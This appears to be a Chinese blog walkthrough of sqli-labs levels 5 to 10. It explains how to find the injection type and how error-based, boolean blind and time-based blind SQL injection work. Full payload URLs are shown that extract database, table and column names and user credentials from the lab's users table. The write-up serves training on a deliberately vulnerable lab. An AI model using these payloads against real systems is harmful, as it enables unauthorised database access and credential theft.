目录

第五关Less-5:

1、判断注入点类型

2、确定显示位置

3、报错注入方法

4、查询库名

5、查询表名

6、查询列名

7、查看用户名和密码:

第六关Less-6:

1、判断注入点类型

2、查询库名

3、其他步骤同上一关;

第七关Less-7:

1、判断注入点类型

第八关Less-8:

1、判断注入点类型

2、布尔盲注暴库、暴表

第九关Less-9:

1、判断注入点类型

2、猜库名

3、猜表名、字段名

第十关Less-10

1、判断注入点类型

2、猜库名、表名、字段名


第五关Less-5:

1、判断注入点类型

(1)、单引号测试

http://192.168.162.135/sqlilab/Less-5/?id=1'

初步判断:单引号字符型注入

(2)、进行验证:

最终确定:该注入点为单引号字符型注入;

2、确定显示位置

经过尝试发现该页面无显示点,因此不能通过之前的方法进行联合查询,显示我们想要的信息,因此可以选择时间盲注或者报错注入;因为时间盲注比较耗时,而且结果只能一点一点的去猜测,因此我们选用报错注入

3、报错注入方法

(1)、floor()+rand();

详细讲解:https://blog.csdn.net/ccz4854/article/details/123375320

(2)、exp(x);

原理:当x的值大于709时,exp()溢出错误;

(3)、xpath函数

  • extractvalue(a,b)函数;
  • updataxml(a,b,a)函数;

4、查询库名

http://192.168.162.135/sqlilab/Less-5/?id=1' and extractvlalue(1,concat('~',database())) --+

库名:security;

5、查询表名

http://192.168.162.135/sqlilab/Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

表名:emails,referers,uagents,users

6、查询列名

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 0,1),floor(rand(0)*2)) a from information_schema.columns group by a --+

(1)、user_id

union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 0,1),floor(rand(0)*2)) a from information_schema.columns group by a --+

(2)first_name

union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 1,1),floor(rand(0)*2)) a from information_schema.columns group by a --+

...........

通过limit逐个查看users表中的列名;

7、查看用户名和密码:

(1)、第一个用户:

用户名:Dumb

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select username from users limit 0,1),floor(rand(0)*2)) a from users group by a --+

密码:Dumb

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select password from users limit 0,1),floor(rand(0)*2)) a from users group by a --+

(2)、第二个用户:

用户名:Angelina1

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select username from users limit 1,1),floor(rand(0)*2)) a from users group by a --+

密码:I-kill-you1

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select password from users limit 1,1),floor(rand(0)*2)) a from users group by a --+

(3)、同上,不断改变limit、username、password来逐个获取用户名和密码


第六关Less-6:

1、判断注入点类型

(1)、单引号测试被过滤,尝试双引号

初步判定:双引号字符型注入

(2)、验证猜测:

最终确定:该注入点为双引号字符型注入

sql语句为:select * from users where id="$id";

2、查询库名

库名:security

3、其他步骤同上一关;


第七关Less-7:

1、判断注入点类型

(1)、单引号测试

这关不显示报错信息,所以只能尝试找出闭合符,单引号首先排除;

(2)、双引号测试

正常,说明双引号被过滤;

(3)、')测试

说明')不是闭合符;

(4)、'))测试

经过检验:闭合符为:'))

sql语句为:where id=(('$id'));

该注入点为:字符型注入;


第八关Less-8:

1、判断注入点类型

(1)、单引号测试:

页面发生变化,但不报错;

(2)、双引号测试

正常,页面无变化;

(3)、其他字符尝试

只有单引号出现,页面有所变化,所以就单引号进行尝试

单引号闭合,说明该注入点为单引号字符型注入;

布尔盲注

2、布尔盲注暴库、暴表

该注入点不显示任何信息,只能通过页面的变化来进行猜测,当页面显示"You are in......",说明为true,页面只显示"welcome",说明为false;因此在这关使用布尔盲注进行暴库、暴表

(1)、猜库名的长度

http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =1 --+

说明库名长度不是1;

http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =2 --+

说明库名长度不是2;

..........不断尝试

http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =8 --+

说明库名长度为:8;

(2)、猜库名

语句为:

http://192.168.162.135/sqlilab/Less-8/?id=1' and ascill(substr(database(),1,1))>97 --+

ascill():将()里的值转换为ascill码;

substr(a,b,c):表示截取字符串,a表示要截取的字符串,b表示从哪里开始,c表示截取的长度;

该语句的意思为:将数据库的库名的第一个字符截取下来后转换为ascill码,进行比较,缩小其范围,通过页面的变化不断比较确定第一个字符串的值,并用这种方法逐个确定出数据库的名称;

ascill码对照表:https://zhuanlan.zhihu.com/p/388458283

(3)、猜表名

方法同上,取字符串,转码,比较,逐个逐字确定;


第九关Less-9:

1、判断注入点类型

经过大量尝试,页面一直没有变化,所以我们要寻找一个参考,选择使用时间盲注

通过时间盲注,判断该注入点为:单引号字符型注入,时间盲注

2、猜库名

类比布尔盲注,方法类似,例句如下:

and if(x,sleep(a),1)

if()函数中,

  • x为布尔盲注中的长度、字符猜测语句,如:length(database())=1
  • sleep()函数,a为时间间隔,如果前面的语句x为真,则在页面出来前间隔a秒;
  • 1:占位

3、猜表名、字段名

方法同上


第十关Less-10

1、判断注入点类型

与第九关相同,页面一直没有变化,无法参考,因此使用时间盲注进行判断;

。。。。。。不断尝试,观察页面是否有时间间隔

因此判断闭合符为:双引号"

sql语句:where id="$id";

该注入点为:双引号字符型注入,时间盲注

2、猜库名、表名、字段名

方法同第九关;


sqli-lab闯关第5关---第10关相关推荐

  1. 光棍节程序员闯关秀(总共10关)

    程序员闯关大挑战: https://1111.segmentfault.com/ 仓鼠演示7k7k.4399小游戏: http://cdn.abowman.com/widgets/hamster/ha ...

  2. linux 关中断 调度,关中断是否禁止任务调度?关中断能作为互斥吗?

    正 文 关中断是否禁止任务调度?关中断能作为互斥吗?(2008/11/25 21:36) 今天再看<嵌入式软件系统教程>((美)西蒙 著,陈向群 等译)  ,里面讲到关中断会关了任务调度, ...

  3. 开发者基础知识游戏,共10关,欢迎挑战

    昨晚无眠,突然想起了以前园子里出现的某种找答案的游戏,那时是一个老外设计的. (补充,后来有网友告知,是某年的双十一光棍节应景的游戏) 于是花了一个晚上思考,今天又花了点时间,设计了一个简单的开发者知 ...

  4. sqli-labs 1~10关教程

    sqlli-labs 1~10关教程 本篇有点长,建议使用目录查看自己想看的关卡 第一关 输入?id=1 出现如下图 输入id=1' 出现语法错误 表示这里可能出现sql注入漏洞 进一步尝试 输入 i ...

  5. python-85行代码完成贪吃蛇和关卡升级:是男人就坚持到第10关!

    使用python,85行代码实现贪吃蛇和关卡升级 你觉得你能坚持到第10关吗? 一.实现效果 二.环境要求 1.python 3+ 2.pygame包 安装命令:打开cmd 输入: pip insta ...

  6. 实验五 循环结构第1关:斐波那契数列第2关:统计一段英文语句中的单词数和句子数第3关:密码判断第4关:通过数列求自然常数e第5关:双倍余额递减法计算固定资产折旧第6关:销售统计第7关:投资年限计算

    第1关:斐波那契数列 根据提示,在右侧编辑器补充代码,输入x,输出第x个斐波那契数列. 注意:斐波那契数列的第一项和第二项为1 x=eval(input("")) #代码开始 a= ...

  7. 计算机桌面关不了机怎么办,电脑关不了机怎么办?

    我们在长时间使用电脑后,想要关机,却会发现电脑偶尔卡在关机界面,却就是关不了机?出现电脑关不了机怎么办?下面就和大家分享一下如何解决电脑关不了机的问题. 电脑关不了机怎么办? 电脑系统长时间关闭不了, ...

  8. 思维导图 XMind 闯关之路(第03关)插入图片

    本系列文章 主要是XMind软件的 一个基础教程,文章总纲链接:专题分纲目录 思维导图 XMind 闯关之路 这里依然以我们以上一关 关卡测试为基础,能够做到: 1 子分支插入图片 接下来我们开始 在 ...

  9. 思维导图 XMind 闯关之路(第05关)插入外框概要

    本系列文章 主要是XMind软件的 一个基础教程,文章总纲链接:专题分纲目录 思维导图 XMind 闯关之路 这里依然以我们以上一关 关卡测试为基础,能够做到: 1 插入外框 接下来我们开始 在一个子 ...

  10. 思维导图 XMind 闯关之路(第01关)新建文件 建立分支

    本系列文章 主要是XMind软件的 一个基础教程,文章总纲链接:专题分纲目录 思维导图 XMind 闯关之路 特殊说明:我们是使用mac版的 XMind8 进行演示.windows版本也是类似,只是稍 ...

最新文章

  1. Dijkstra算法实验报告
  2. golang 删除目录所有内容
  3. 配置kali linux
  4. php教程源码分享,php教程|php源码|php学习
  5. 论文笔记:Triplet Network
  6. stm32滴答计时器_STM32的系统滴答定时器(Systick)
  7. linux必须运行在enforcing,设置 Selinux环境为 Enforcing模式
  8. Win32下对多个的线程句柄的关闭的控制(上)
  9. 完美镜像ISO制作工具WinIso-----使用说明
  10. 如何用Mockplus快速做一个手风琴菜单?
  11. 【Android 逆向】ApkTool 工具使用 ( ApkTool 简介 | ApkTool 解包和打包 )
  12. curl 504 php,nginx - PHP 经常提示 504 Gateway Time-out
  13. 复现Reasoning with Heterogeneous Graph Alignment for Video Question Answering
  14. 避免2.4GHz ISM频段各种类型无线设备干扰的技术
  15. 雷曼另类“死因”:巴菲特漏看求救短信
  16. 百度Q-T语义一致性比未获奖 (总结)
  17. $http的使用方式
  18. ora-12505 监听程序当前无法识别sid
  19. python入门培训课程
  20. html怎样给文字设置底纹,使用HTML和CSS来实现为文字设置图片底纹

热门文章

  1. 关于如何获取上周均值的实时数据思路,吾之解合君意否?
  2. 考研大数据爬取与分析工具3.0需求分析文档
  3. 组态中怎么使用mysql数据库_组态王中PLC数据连接MySQL数据库教程
  4. 利用js来制作简单倒计时效果
  5. 手把手带你用 SSRF 打穿内网
  6. isNotEmpty和isNotBlank区别
  7. 申请计算机的ps,美国研究生申请材料 计算机PS范文参考
  8. MATLAB快速入门(四):绘图
  9. 有如下字符串“iu7i8csr83sdf9,将其中的数字字符摘取出来组成一个int的数值输出
  10. 网站常用主流网站数据库介绍